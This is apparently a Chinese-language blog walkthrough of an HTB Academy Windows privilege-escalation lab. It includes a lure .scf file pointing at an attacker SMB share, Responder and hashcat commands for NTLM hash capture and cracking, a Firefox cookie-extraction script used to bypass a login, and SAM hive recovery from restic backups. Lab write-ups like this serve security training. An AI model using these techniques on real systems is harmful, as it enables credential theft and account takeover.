Bootstrap

HTB academy --- Windows Privilege Escalation ---Additional Techniques

Interacting with Users

首先我们需要构造一个这样的脚本文件

[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop

然后将它放在可以写入的共享的文件夹中 ,经过尝试你们直接就在如下图所示的目录中插入脚本文件即可

然后我们在攻击机启动响应,这样用户浏览共享时便会传回他的NTML hash值

sudo responder -w -v -I tun0

再然后我们通过这个hashcat命令将其解密即可

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

Pillaging

这个章节绝对是最折磨我的,有些点不注意的话真的会卡很久,首先通过枚举注册表查看安装的程序

然后查看这个程序的配置文件,至于这个配置文件路径是怎么来的,文章说是默认的路径,按这个格式去找即可%USERPROFILE%\APPDATA\Roaming\mRemoteNG

然后查看配置文件即可获得第一个问题答案的加密版本

https://github.com/haseebT/mRemoteNG-Decrypt.git ,我们还需下载解密的工具对获得的密码进行解密,当然这个解密的命令也是要分情况的,像这种默认加密的就可以直接用这条命令,如果是自定义加密则还需进行枚举自定义的密码(文章中有不做过多解释)

第二个问题需要我们用到第一个问题获得的票据,只有登录grace才可获取cookie,也就是执行下面命令,要不然在第一个用户下面是复制不到的

那么我们在获取cookie之后发现还得通过脚本文件提取cookie,由于Windows主机上无python环境,所以我们必须下载这个文件到攻击机上,我一开始是采用scp传输,但是发现死活连不上Linux主机,于是我开了一个smb共享,这样也可以将文件传输到linux攻击机上

\\ip\share用这个命令进行连接

这个是我们用来提取cookie的python文件直接复制即可

#!/usr/bin/env python3
# Sample Script to extract cookies offile from FireFox sqlite database 
# Created by PlainText 

import argparse
import sqlite3

def main(dbpath, host, cookie):
	conn = sqlite3.connect(dbpath)
	cursor = conn.cursor()

	if (host == "" and cookie == ""):
		query = "SELECT * FROM moz_cookies"
	elif (host != "" and cookie == ""):
		query = "SELECT * FROM moz_cookies WHERE host LIKE '%{}%'".format(host)
	elif (host == "" and cookie != ""):
		query = "SELECT * FROM moz_cookies WHERE name LIKE '%{}%'".format(cookie)
	elif (host != "" and cookie != ""):
		query = "SELECT * FROM moz_cookies WHERE name LIKE '%{}%' AND host LIKE '%{}%'".format(cookie, host)

	cursor.execute(query)
	records = cursor.fetchall()
	rowCount = len(records) 

	if (rowCount > 0):
		for row in records:
			print(row)
	else:
		print("[-] No cookie found with the selected options.")

	conn.close()

if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("--dbpath", "-d", required=True, help="The path to the sqlite cookies database")
	parser.add_argument("--host", "-o", required=False, help="The host for the cookie", default="")
	parser.add_argument("--cookie", "-c", required=False, help="The name of the cookie", default="")
	args = parser.parse_args()
	main(args.dbpath, args.host, args.cookie)

然后运行后我们便可获得一个cookie

这个时候注意我们访问的地址,千万不要一直复制粘贴,要带有一定的思考,我们需要访问slacktestapp.com这个地址,然后再修改cookie即可绕过登录验证

这里的页面既有flag也有下一个用户的票据,我这里只截取票据,还望理解

通过票据登录后发现桌面上有一个文件,打开文件后我们会发现两个路径和一个password,记住这里sample是重点,也是恶心的一点,e盘一共两个restic,靶场文章中用的是第二个,但是第二个就是个坑,他无法还原出来config文件,我看了国外的论坛不少都被文章坑了,所以大家后续一定要按照我的命令进行访问

然后还有一个坑就是这里面的password是要你填的,不要说填了enter password这里就可以了,我们是要将password换成文件给出的密码,这样才能检查存储库里的备份,要不然会一直说你密码错误,我也是傻没看到$env,被这个卡了半天

enter password for new repository:
$env:RESTIC_PASSWORD = 'Password'

然后还是老样子开smb共享,然后将最近日期的config目录底下的SAM SERCURITY SYSTEM转移到Linux攻击机即可,然后注意是最新那个,其他两个的administrtor nthash是不对的,然后我们只需要复制nthash部分即可提交,其他均不用复制

Living Off The Land Binaries and Scripts (LOLBAS)

这一章就简单多了,一条命令就可以直接枚举出密码了,无需多言

总结:

除了第二个章节,其他均为easy级别,其实做完之后仔细想想第二个难度也不是很大,主要还是自己太想当然了,才会卡太久,希望我的踩过的坑可以帮助大家少踩一点,还望大家多多点赞支持一下小白

;